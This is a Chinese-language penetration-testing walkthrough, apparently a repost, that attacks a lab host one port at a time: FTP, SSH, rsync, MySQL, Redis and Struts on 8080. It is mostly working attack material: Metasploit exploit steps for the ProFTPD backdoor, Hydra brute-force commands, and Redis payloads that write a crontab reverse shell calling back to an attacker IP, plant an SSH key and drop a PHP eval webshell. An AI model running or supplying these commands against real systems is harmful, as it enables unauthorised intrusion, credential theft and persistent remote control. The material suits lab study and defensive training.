端口滲透·網站滲透過程 --21 ,22,873,3306,6379,8080(8080端口是針對CMS的滲透)


聲明:文章滲透網站為模擬環境,文章只為利用過程

文章為信息收集和端口滲透兩部分,21端口為ftp版本漏洞 8080端口為CMS的滲透

信息收集:

·使用掃描工具nmap ,PortScan 對整個網段進行掃描

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

信息:通過訪問網站得到要測試的IP192.168.31.69

          IP的中間件為Apache/2.4.7 目標系統為Ubuntu

          開放的端口為21(ftp:ProFTPD 1.3.3c). 22(ssh).873 (rsync).3306Mysql. 6379(Redis) .8080(Struts2)

 

訪問80端口發現phpinfo頁面  phpinfo可獲得該IP網站的所有配置信息

 

測試過程

·21端口測試   查看到ftp的版本,搜索得知ftp為ProFTPD 1.3.3c存在后門漏洞

啟動MSF的終端

msfconsole

搜索proFTPD的攻擊模塊,並載入

search proFTPD  //搜索proFTPD的攻擊模塊

use exploit/unit/ftp/proftpd_133c_backdoor  //載入選擇模塊

填寫模塊內容 並執行,之后反彈shell 就ok了

如果不知該填寫什么參數可以 show一下

show options  //需要填寫的信息

set RHOSTS 192.168.31.69  //目標IP

run  //執行

 

 

當然這只是針對ProFTPD 1.3.3c的利用過程,也可以使用暴力破解,但你的密碼庫要絕對的強大

 

·22端口測試   使用kali的工具hydra對目標IP的22端口進行暴力破解

爆破命令:

hydra -l(用戶名) root -P(爆破字典) /usr/pass.txt(絕對路徑,pass.txt為字典文件名,可以將自己的字典加入到該目錄下)

 -V(顯示爆破過程)  -t(指定線程數)  10  ssh://127.0.0.1(如果是默認端口,可以不寫,如果不是默認端口,要加端口xx,如ssh://127.0.0.1:xx)

 

暴力破解獲得密碼

獲得用戶及密碼后可以使用ssh進行連接22端口

ssh 用戶名@IP地址

 

這里介紹一下hydra的一些參數

參數:

    -R 繼續從上一次進度接着破解

    -S 大寫,采用SSL鏈接

    -s 小寫,可通過這個參數指定非默認端口

    -l 指定破解的用戶,對特定用戶破解

    -L 指定用戶名字典

    -p 小寫,指定密碼破解,少用,一般是采用密碼字典

    -P 大寫,指定密碼字典

    -e 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探

    -C 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數

    -M 指定目標列表文件一行一條

    -o 指定結果輸出文件

    -f 在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解

    -t 同時運行的線程數,默認為16

    -w 設置最大超時的時間,單位秒,默認是30s

    -v /-V顯示詳細過程

  各協議的具體命令:

    格式+示例:

    1、破解ssh:

    hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip ssh

    hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh

    2、破解ftp:

    hydra ip ftp -L 用戶名字典 -P 密碼字典 -t 線程(默認16) -vV

    hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV

參數說明:

-t同時線程數3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當破解了一個密碼就停止

 

·873端口測試  873端口為rsync服務存在未授權訪問漏洞

啟動MSF的終端

msfconsole

搜索rsync的攻擊模塊 並載入

search rsync  //搜索rsync的攻擊模塊

use auxiliary/scanner/rsync/modules_list  //載入要攻擊的模塊

show options  //需要填寫的信息

set rhosts 192.168.31.69 //目標IP

run  //執行

 可以通過命令達到未授權訪問WWW文件夾

rsync root@192.168.31.69::   

rsync root@192.168.31.69:WWW

 

 

·3306 端口測試   使用kali的工具進行暴力破解

這里暴力破解使用的還是metasploit frameword

老樣子,先啟動MSF的終端

msfconsole

因為3306為mysql的服務,所以要搜索關於mysql的模塊

search mysql

之后載入選擇的模塊,我這里選擇的是

use auxiliary/scanner/mysql/mysql_login 

show option

填寫參數,可以爆破出密碼為123456

獲得用戶名及密碼后可以通過其他模塊進行執行sql語句

成功執行sql語句

 

·6379 端口測試  6379端口為redis服務,可能存在未授權訪問漏洞

要測試redis服務需要在本地安裝redis服務

安裝:

wget http://download.redis.io/releases/redis-4.0.8.tar.gz     //下載地址

tar xzf redis-4.0.8.tar.gz   //解壓下載文件

cd redis-3.2.0   //轉到redis-3.2.0目錄下

make   //到所在目錄中安裝

安裝成功后需要配置一下文件,可以進行遠程訪問

vim redis.conf  //打開配置文件

在bind 127.0.0.1前面加上# ,  把protected-mode設為no

使用

先轉到redis-3.2.0的src目錄下

cd /root/redis-3.2.0/src  

接着啟動redis服務

./redis-cli -h 192.168.31.69

發現連接成功可以執行info

方法:

1)利用計划任務執行命令反彈shell

條件:在redis以root權限運行時可以寫crontab來執行命令反彈shell

先在自己的服務器上監聽一個端口:

nc -lvnp 4444

然后執行命令:

root@kali:~# redis-cli -h 192.168.31.69

192.168.31.69:6379>set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.158/4444 0>&1\n"

ok

192.168.31.69:6379>config set dir /var/spool/cron/

ok

192.168.31.69:6379>config set dbfilename root

ok

192.168.31.69:6379>save

ok

去查看監聽的端口,會反彈會shell

2)寫ssh-keygen公鑰然后使用私鑰登陸

 條件:Redis服務使用ROOT賬號啟動     

            服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器

首先需要在本生成密鑰:

然后redis執行命令:

192.168.31.69:6379> config set dir /root/.ssh/
OK
192.168.31.69:6379> config set dbfilename authorized_keys
OK
192.168.31.69:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.31.69:6379> save
OK

然后直接利用公鑰登錄ssh

ssh -i id_rsa root@192.168.31.69

3)寫webshell

條件:開啟web服務 且web目錄有寫入權限 知道絕對路徑

192.168.31.69:6379>config set dir /var/www/html/

ok

192.168.31.69:6379>config set dbfilename shell.php

ok

192.168.31.69:6379>set x "<?php @eval($_POST['pass']);?>"

ok

192.168.31.69:6379>save

ok

4)使用hydra暴力破解redis密碼

hydra -P passwd.txt redis://192.168.31.69

 

·8080端口測試  發現網站Struts 發現Struts可以使用Struts Scan工具獲得指定漏洞交互式shell

 

下載Struts Scan:

git clone https://github.com/Lucifer1993/struts-scan   //下載

tar xzf struts-scan     //解壓

cd struts-scan-master  //轉到struts-scan-master 下

python struts-scan.py  //運行程序

掃描網站

python struts-scan.py http://192.168.31.69:8080/index.action

使用給出的漏洞交互shell     執行payload

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM